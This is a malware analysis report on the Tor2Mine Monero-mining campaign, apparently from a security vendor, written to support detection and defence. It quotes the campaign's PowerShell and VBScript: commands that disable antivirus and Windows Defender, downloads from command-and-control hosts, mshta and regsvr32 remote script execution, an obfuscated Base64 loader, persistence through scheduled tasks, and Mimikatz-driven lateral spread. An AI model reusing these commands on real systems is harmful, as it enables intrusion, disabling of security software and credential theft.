Over the past few months, we’ve seen quite a few cryptocurrency mining campaigns leveraging the latest wave of widespread enterprise server software vulnerabilities, including the ProxyShell/ProxyLogon exploits targeting on-premises Microsoft Exchange Server deployments and VMware vCenter. Usually, these intrusions are limited in scope.
But we’ve seen a return of a miner variant that goes much further. Previously identified as Tor2Mine by researchers (because of the use in some variants of a Tor gateway to communicate with the coin miner’s command and control server). Based on XMRigCC , a centrally-configurable miner intended for leveraging whole networks of worker machines, this Monero-mining campaign continues to evolve as its operators try to find new ways to evade defenses and maintain a presence on infected networks.
Tor2Mine uses a PowerShell script that attempts to disable malware protection, execute a miner payload and harvest Windows credentials. Using those credentials, Tor2Mine can spread itself, and will continue to re-infect other systems on the compromised network if not completely eradicated and malware protection is not present.
On systems where it manages to gain administrative credentials, Tor2Mine installs executables as a service, and then searches for other machines on the network that it can remotely execute installation scripts on to spread further.
On systems where it does not gain administrative privileges, Tor2Mine can execute filelessly by way of commands run as scheduled tasks. Sophos telemetry saw a surge of detections for Tor2Mine (detected as the Mal/MineJob family) early in 2021. Since then, while declining overall, we’ve seen the introduction of new variants.
Since June, we’ve seen two different takes on Tor2Mine showing up repeatedly in our telemetry. While we’ve seen two specific sets of infrastructure associated with these variants, we discovered minor differences in other samples discovered in VirusTotal data from the same period—suggesting minor tweaks by different sets of operators or by the same actors between campaigns. But the underlying game plan is almost always the same: by exploiting a remote code execution bug, the miner operator launches a PowerShell script that attempts to shut down malware protection and open up shop.
Both scripts attempt to shut down anti-malware protection, searching the Windows registry for installed products and sending commands to stop services. Both retrieve additional scripts (both PowerShell and VBScript) from a command and control server in an attempt to prevent analysis of their attack. And both install the same miner code, using detection of the targeted system’s processor and operating system version to determine whether to install a 32-bit or 64-bit version of the miner.
There are two basic takes on the variants: one expects to have system level privileges when executed and exploits that in spreading, while the other tests to see what privileges are available.
Cashing in on access
The first type of Tor2Mine variant we’ve encountered is deployed after the actor has already achieved system-level or administrator-level privileges through the initial access exploit. It checks for the architecture of the local processor in its first few lines as it sets variables for the rest of the script.
$arch = Get-WmiObject Win32_Processor Select-Object -Exp AddressWidth $WebClient = New-Object System.Net.WebClient $WarningPreference = "SilentlyContinue" $erroractionpreference = "SilentlyContinue" $LogCommandLifeCycleEvent = $false $tskPath="C:\Windows\System32\Tasks" if((test-path "$tskPath\Microsoft\Windows\WDI\UPDShell") -eq $true) { cmd /c SCHTASKS /delete /tn \Microsoft\Windows\WDI\UPDShell /f out-null
Then it attempts to take out malware protection—in this case, MalwareBytes and Sophos are targeted, as well as Windows Defender. (This behavior is blocked by AMSI-enabled behavior detection and tamper protection in Intercept X.)
if((Get-Service where-object {$_.Name -eq "MBAMService"}) -ne $null) { C:\Windows\System32\cmd.exe /c sc stop MBAMService C:\Windows\System32\cmd.exe /c sc delete MBAMService C:\Windows\System32\cmd.exe /c sc stop MBAMProtection C:\Windows\System32\cmd.exe /c sc delete MBAMProtection where-object {$_.DisplayName -like "*Sophos*"}) -ne $null) get-service where-object {$_.DiplayName -like "*Sophos*"} foreach {cmd /c sc stop $_.Name} cmd /c sc stop WinDefend cmd /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f cmd /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f cmd /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f cmd /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
Next, it begins installing scripts to download other scripts needed to prepare the target for optimal mining operations. It looks for earlier instances of control scripts and zaps them, and then drops a remote script (after deleting any versions of it left by previous installations):
if((test-path "C:\Windows\del.bat") -eq $true) { rm C:\Windows\del.bat -force if($(test-file "C:\Windows\del.ps1") -eq $true) { rm "C:\Windows\del.ps1" -force $WebClient.DownloadFile("hxxp://107[.]181.187.132/ps1/del.ps1","C:\Windows\Fonts\del.ps1") New-service -name "MalwareDel" -DisplayName "Microsoft Security Essentials" -StartupType Automatic -BinaryPathName "powershell -exec bypass -e QwA6AFwAVwBpAG4AZABvAHcAcwBcAEYAbwBuAHQAcwBcAGQAZQBsAC4AcABzADEA" -Description "Microsoft Antivirus Core Service" -ErrorAction Stop } catch {} cmd /c schtasks /create /tn \Microsoft\Windows\SetUpd /sc HOURLY /f /mo 1 /tr "powershell -exec bypass -e QwA6AFwAVwBpAG4AZABvAHcAcwBcAEYAbwBuAHQAcwBcAGQAZQBsAC4AcABzADEA" /ru "NT AUTHORITY\SYSTEM" /RL HIGHEST Start-Sleep 1
Because these scripts (and the rest of the scripts associated with Tor2Mine) are largely loaded from their remote sources, or are self-deleting, they are not left on targeted machines; we were able to uncover some of them with VirusTotal. The encoded command is the downloaded del.ps1 script, which gets instantiated as a service called “MalwareDel.” And in fact, it does delete malware—specifically, other miners that may have been installed on the system.
The del.ps1 script is heavily obfuscated. Its actual contents are embedded in a Base64-encoded, compressed text string:
iEX(neW-OBJEcT Io.coMPrESsION.DEFlatEstrEAM( [io.memoRysTReAM][SYstem.CONVerT]::fRoMbAsE64STrInG( 'fVpbU+NIsn7Gv0IPG4M9YLflu/vEPtBgpqGhm8X0zM4hiA4hy1ggS25J5rIs//3kl5VZJQN9YgarVJWVlfdLqVt17x/R1z8/7n9bTs +i/cvert/f7fSvmrffjtLt7YZX9+rb9fpgtv/s9/ovz73Oy7M/9F+eu/Tij9v0Mxi8PI/oz+/Tz3BIML2X5zE9/TZWAOLTTGf08jzgF 2AAPFB1e0AzfnnmFQLZ3tnudbFIAzz7DECICWDcpkkaAhPW2vhhnEOC6tKRoJBQM9YO7Rr0eIc/ZGoH/ DLAue2OWRj45gkGaOT3QPdgjIOxpQOEOB1/RDidjKP8Pp3MUMweHThmNF1CTQg69Oi0aWWIo0YMx2yASmBlzulnDDEAt9+ mHxDcaWPN774QPgIENX06dITZ3gjbcGCXIIHM95lImhoR3g5hI7gugXX4GEiaqaXBEDMsRJYcwXRpFudDYKwPKGSMM4DIH/ mghn4giDF4xEYQMuobWXUIdw/ktAEBCgddkapIlyd9SITewUuP8MCMwDJNAb0/AInA6dOxfax0DXS/ LdhorU+Y2BS65myGZYw8id19lhF46INyYg7YfRBIE9A9eINhggp/hLcBi5TtDNYCNARPKGEwEDVE5+ Og3oiJwdnAD6WyTtv0A2uAlljgXRj9kCHhEHj1IfMOq2okZtY2CiY4yJmsDq9jthSaAlXsJ9ClD5+Ckw3A74htHqMuc8F+hh/ W3JB/mB8iHgryYb7+mEWBUU/8CiJmR2i/kHM35+ffg2PPT5L4S234hRaP7/OouCuCcvjFzR+ntBIs73N6RAVWaNsuvZx/ x0JRpLfBp053GdFbiSX6686KqDaXl6C7Mw+6QYQ52h49Rq2yyD6H99PTKW0tHgRu7nl/dEGj9wKw5Vw2pjLIIwEs8uhP0EHEzmpD2sC0 % {neW-OBJEcT Io.sTREamreadeR($_, [SyStem.text.ENCodiNG]::aScIi) }).rEadtOeNd( )
This decompresses to a 116-line script that kills a variety of processes, services and tasks—almost all of them other crimeware, including a variety of coinminers and “clipper” malware that steals wallet addresses.
Next, the main dropper script configures a series of remote VBScript script files as scheduled tasks.
cmd /c SCHTASKS /create /tn \Microsoft\Windows\WDI\UPD /sc HOURLY /f /mo 5 /tr "cmd /c mshta hxxp://eu1[.]minerpool.pw/upd.hta" /ru "NT AUTHORITY\SYSTEM" cmd /c SCHTASKS /create /tn "\Microsoft\Windows Defender\ScannerSchduler" /sc DAILY /f /mo 1 /tr "cmd /c mshta hxxp://res1.myrms.pw/upd.hta" /ru "NT AUTHORITY\SYSTEM" cmd /c SCHTASKS /create /tn "\Microsoft\Windows\Diagnosis\ScheduledDiagnosis" /sc DAILY /f /mo 2 /tr "cmd /c mshta hxxps://qm7gmtaagejolddt.onion.to/check.hta" /ru "NT AUTHORITY\SYSTEM" /RL HIGHEST
These remote scripts have a common feature— when they execute, they pop up a window that is quickly moved off-screen and sized to zero. Two of these scripts (both named upd.hta) are variations on the same code, and download additional scripts.
The other script, check.hta, is here retrieved via a Tor gateway website. The script downloads another PowerShell script, check1.ps1 — a variation on the main dropper script that re-establishes the miner deployment. It also deploys v1.exe, an that creates and executes VBScript files written to temporary folders (such as %TEMP%\2b47.tmp\2b87.tmp\2b90.vbs). This is the mechanism Tor2Mine uses to spread across a network, (discussed later in this report).
The main script also creates a scheduled task to fire off a PowerShell command:
cmd /c schtasks /create /tn \Microsoft\Windows\Multimedia\SystemVideoService /tr "cmd /c powershell -nop -noni -w 1 -enc cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoAaAB0AHQAcAA6AC8ALwAxADAANwAuADEAOAAxAC4AMQA4ADcALgAxADMAMgAvAHAAaABwAC8AZgB1AG4AYwAuAHAAaABwACAAcwBjAHIAbwBiAGoALgBkAGwAbAA=" sc daily /mo 2 /f /ru SYSTEM/
Decoded, that PowerShell command is the exploitation of Window’s regsvr32.exe to execute a remote script with the script object dynamic-link library daily:
regsvr32 /u /s /i:hxxp://83[.]97.20.83/win/php/func.php scrobj.dll
This script is yet another remote VBScript from a redundant C2, just in case the original C2 gets blocked.
The main script then checks for and kills a variety of scheduled tasks—most of them tasks with names that correspond to names given to the miner executable and other malicious tasks and services. And then it downloads the actual miner (in this case, named C:\Windows\services.exe). The script sets permissions for services.exe , granting them to the “world” group (all users), deletes anything already named that, and then drops a processor-appropriate version of the miner at that name, configuring it with the task name “WinSockets”:
cmd /c attrib -s -h C:\Windows\services.exe cmd /c icacls "C:\Windows\services.exe" /grant *S-1-1-0:F cmd /c wmic process where ExecutablePath='C:\\Windows\\services.exe' delete stop-process $((gwmi win32_process where-object {$_.ExecutablePath -eq "C:\Windows\services.exe"}).ProcessID) -force get-process where-object {$_.Path -like "C:\Windows\services.exe"} stop-process -force rm C:\Windows\services.exe -force IF ($arch -eq "64") $WebClient.DownloadFile("hxxp://107[.]181.187.132/test/64.exe","C:\Windows\services.exe") $WebClient.DownloadFile("hxxp://107[.]181.187.132/test/32.exe","C:\Windows\services.exe") cmd /c schtasks /create /TN \Microsoft\Windows\Ras\WinSockets /TR "c:\windows\services.exe" /ST 00:00 /SC once /DU 599940 /RI 1 /F /RL HIGHEST /RU SYSTEM cmd /c schtasks /TN \Microsoft\Windows\Ras\WinSockets /run cmd /c SCHTASKS /create /tn \Microsoft\Windows\UPnP\UPnPHostSearch /sc minute /f /mo 1 /tr "cmd /c schtasks /run /TN \Microsoft\Windows\Ras\WinSockets" /RL HIGHEST /ru "NT AUTHORITY\SYSTEM" cmd /c SCHTASKS /tn \Microsoft\Windows\UPnP\UPnPHostSearch /run stop-process -name "mshta" -force cmd /c schtasks /tn \Microsoft\Windows\SetUpd /run
At the end, it clears all running Windows scripts by forcing processes associated with mshta.exe to close, and launches the task tied to the remote updater scripts.
Check your privilege
The second new Tor2Web variant we’ve seen recently works in similar fashion, but its developer has decided that the script needs to be more maintainable—so they’ve broken its flow down into functions. First, it sets a variable called $priv to determine whether the active user it runs under is an administrator, and performs an operating system version check for the variable $osver:
$W = New-Object System.Net.WebClient $arch = Get-WmiObject Win32_Processor | Select-Object -Exp AddressWidth $priv = [bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544") $osver = ([environment]::OSVersion.Version).Major $WarningPreference = "SilentlyContinue" $erroractionpreference = "SilentlyContinue" [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
This variant makes use of defined functions to reuse parts of the script, using the boolean value of $priv to define the script’s flow:
IF ($priv -eq $true) { StopAV PrivTrueMStop start-sleep 1 PrivTrue CleanerEtc #mimi } else { PrivFalsemStop start-sleep 1 PrivFalse CleanerNoPriv } get-process -name "mshta" -ErrorAction SilentlyContinue | ForEach-Object { stop-process -id $_.Id }
Commented out in this version of the script is the “mimi” function, which runs a PowerShell version of the Mimikatz credential harvesting tool (kallen.ps1). This feature is not disabled in checking.ps1, this variant’s version of the check1.ps1 script, and in some other versions of this variant.
There are two major differences between the privileged and non-admin routes for the script. The first is that in the privileged version of the flow, the script attempts to stop antivirus processes, which is not attempted when the script does not have administrator-level access.
The second difference is that in situations where the primary script of this variant is running with administrator privileges, it installs the miner as “java.exe” in an “Oracle” folder. If the system is running the 64-bit version of Windows, the script also installs a driver to take advantage of the graphics adaptor on the system.
Function PrivTrue() { if ((test-path C:\ProgramData\Oracle\Java) -eq $false) { # mkdir C:\ProgramData\Oracle | out-null # mkdir C:\ProgramData\Oracle\Java | out-null New-Item "C:\ProgramData\Oracle\Java" -ItemType Directory | out-null } IF ($arch -eq "64") { $W.DownloadFile("hxxp://83[.]97.20.81/win/min/64.exe", "C:\ProgramData\Oracle\Java\java.exe") } ELSE { $W.DownloadFile("hxxp://83[.]97.20.81/win/min/32.exe", "C:\ProgramData\Oracle\Java\java.exe") } if ( (!$(test-path "C:\Windows\System32\WinRing0x64.sys")) -and ($arch -eq "64") ) { $W.DownloadFile("hxxps://83[.]97.20.81/win/deps/rx.exe", "C:\Windows\System32\WinRing0x64.sys") }
It’s probably not coincidental that the host used to download these executables is in the same subnet as the secondary C2 for the first variant we looked at—both are hosted by the same provider in Romania.
On the other hand, if the main script executes without administrator-level privileges, then it takes a very different tack: it sets up a number of scheduled tasks like those in the first variant we saw, one of which runs checking.ps1—but downloads the script for execution from the C2, rather than storing it locally.
This script writes and executes a batch file, PrivFalse.bat, as a scheduled task. It also executes the Mimikatz remote script, attempting to get credentials to gain administrative privileges, and to attempt to spread throughout the network of the targeted organization.
Enlarging the farm, plowing under the competition
In both variants, the “check” step of the deployment installs scripts that are intended to expand the footprint of the miner deployment. The first variant uses WScript and Windows Management Instrumentation to iterate through systems discovered on the network and further spread the miner.
The scripts are used to collect system information about other computers, discovering their operating system version.
Function OSType() strComputer = "." Dim objWMI, objItem, colItems Dim OSVersion, OSName, ProductType Set objWMI = GetObject("winmgmts://" & strComputer & "/root/cimv2") Set colItems = objWMI.ExecQuery("Select * from Win32_OperatingSystem",,48) For Each objItem in colItems OSVersion = Left(objItem.Version,3) ProductType = objItem.ProductType Next ...
The script then uses the OS version to determine which version of the miner to be installed. It kills old versions of the miner, and installs the miner and a fresh copy of the remote “check” script as a scheduled task on each discovered machine.
The second variant uses Mimikatz to mine for credentials. It uses a script named ichigo-lite.ps1 to scan the network for available IP addresses, create a table of credentials in memory of the machine it executes on, and then uses Invoke-Command to remotely execute scripts on the found IP addresses to infect them.
Canary in the coin mine
Tor2Mine , like many other miners we’ve discovered in recent cases, is almost always a sign of vulnerability to other, potentially more dangerous network intrusions. It exploits networks with known vulnerabilities on their servers to gain entry—vulnerabilities that are easily detected from the Internet by network scans looking for telltales. Miners are a low-risk way for cyber criminals to turn a vulnerability into digital cash, with the greatest risk to their cash flow being competing miners discovering the same vulnerable server that they gained entry with. But as we’ve seen in other recent cases, the same defensive gaps that allow miners to spread can lead to data and credential theft, as well as ransomware.
Unlike other miners, Tor2Mine is much more difficult to root out once it’s established a foothold on a network without the assistance of endpoint protection software and other anti-malware measures. Because it spreads laterally away from the initial point of compromise, it can’t be eliminated just by patching and cleaning one system. The miner will continually attempt to re-infect other systems on the network, even after the C2 server for the miner has been blocked or goes offline.
Organizations that quickly patch software vulnerabilities on Internet-facing systems (such as web applications, VPN services, and email servers) are far less likely to fall victim to coin miners. And miners are usually easily detected by antimalware products—particularly those that leverage Windows’ Anti-Malware Software Interface to spot scripts intended to shut down malware protection. Sophos detects Tor2Mine variants as the MineJob family (MineJob-A through E), and detects the script behaviors of each variant. Indicators of compromise for the Tor2Mine variants discussed in this report are available on SophosLabs’ GitHub page.